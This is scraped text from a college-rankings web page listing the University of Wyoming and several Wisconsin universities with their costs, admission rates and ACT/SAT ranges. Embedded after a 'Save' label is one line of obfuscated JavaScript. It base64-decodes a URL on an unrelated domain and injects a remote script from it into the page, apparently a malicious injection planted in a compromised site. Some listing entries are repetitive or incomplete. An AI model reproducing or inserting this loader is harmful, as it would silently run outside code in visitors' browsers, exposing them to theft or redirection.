National Rankings
Overall: 216 |
| State | Wyoming |
| Cost In State | $22815 |
| Cost Out of State | $37965 |
| Percent Admitted | 96 |
| SAT/ACT | Not Considered (Test Blind) |
| Recommendations | Not Considered |
University of Wyoming
Public
#216 Overall
State : Wyoming
Cost In State : $22815
Cost Out Of State : $37965
Save(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();
- college
- college
- college
- college
- college
- college
- college
- college
- college
| State | Wisconsin |
| SAT/ACT | Test Optional |
| Recommendations | Considered if submitted |
University of Wisconsin-Parkside Flex
Public
State : Wisconsin
| State | Wisconsin |
| Percent Admitted | 38 |
| SAT/ACT | Test Optional |
| Recommendations | Considered if submitted |
University of Wisconsin-Milwaukee Flex
Public
State : Wisconsin
| State | Wisconsin |
| Percent Admitted | 95 |
| SAT/ACT | Not Considered (Test Blind) |
| Recommendations | Not Considered |
Herzing University-Brookfield
Private not-for-profit
State : Wisconsin
| State | Wisconsin |
| Percent Admitted | 93 |
| SAT/ACT | Not Considered (Test Blind) |
| Recommendations | Not Considered |
Herzing University-Kenosha
Private not-for-profit
State : Wisconsin
| State | Wisconsin |
| Cost In State | $19670 |
| Cost Out of State | $28374 |
| Percent Admitted | 89 |
| SAT/ACT | Test Optional |
| Recommendations | Considered if submitted |
| ACT Range* | 19 - 25 |
| ACT English Range* | 18 - 25 |
| ACT Math Range* | 17 - 25 |
* SAT and ACT Range refers to the middle 50% SAT scores of admitted applicants.
University of Wisconsin-Stevens Point
Public
State : Wisconsin
Cost In State : $19670
Cost Out Of State : $28374
| State | Wisconsin |
| Cost In State | $20069 |
| Cost Out of State | $28062 |
| Percent Admitted | 84 |
| SAT/ACT | Test Optional |
| Recommendations | Considered if submitted |
| ACT Range* | 18 - 25 |
| ACT English Range* | 16 - 24 |
| ACT Math Range* | 17 - 24 |
* SAT and ACT Range refers to the middle 50% SAT scores of admitted applicants.
University of Wisconsin-River Falls
Public
State : Wisconsin
Cost In State : $20069
Cost Out Of State : $28062
| State | Wisconsin |
| Cost In State | $20793 |
| Cost Out of State | $29731 |
| Percent Admitted | 85 |
| SAT/ACT | Test Optional |
| Recommendations | Considered if submitted |
| ACT Range* | 20 - 27 |
| ACT English Range* | 18 - 25 |
| ACT Math Range* | 19 - 27 |
* SAT and ACT Range refers to the middle 50% SAT scores of admitted applicants.
University of Wisconsin-Platteville
Public
State : Wisconsin
Cost In State : $20793
Cost Out Of State : $29731
National Rankings
Overall: 332 |
| State | Wisconsin |
| Cost In State | $24750 |
| Cost Out of State | $36615 |
| Percent Admitted | 86 |
| SAT/ACT | Test Optional |
| Recommendations | Considered if submitted |
| ACT Range* | 18 - 24 |
| ACT English Range* | 16 - 24 |
| ACT Math Range* | 17 - 24 |
* SAT and ACT Range refers to the middle 50% SAT scores of admitted applicants.
University of Wisconsin-Milwaukee
Public
#332 Overall
State : Wisconsin
Cost In State : $24750
Cost Out Of State : $36615
National Rankings
Overall: 35 | Accounting/Finance: 24 | Business: 31 | Biology: 46 | Chemistry: 94 | Communications: 17 | ComputerScience: 35 | Engineering: 61 | Math: 42 | Physics: 46 | Psychology: 83 |
| State | Wisconsin |
| Cost In State | $27994 |
| Cost Out of State | $56625 |
| Percent Admitted | 49 |
| SAT/ACT | Test Optional |
| Recommendations | Required |
| SAT Writing and Reading Range* | 650 - 730 |
| SAT Math Range* | 690 - 780 |
| ACT Range* | 26 - 32 |
| ACT English Range* | 25 - 33 |
| ACT Math Range* | 25 - 31 |
* SAT and ACT Range refers to the middle 50% SAT scores of admitted applicants.
University of Wisconsin-Madison
Public
#35 Overall
State : Wisconsin
Cost In State : $27994
Cost Out Of State : $56625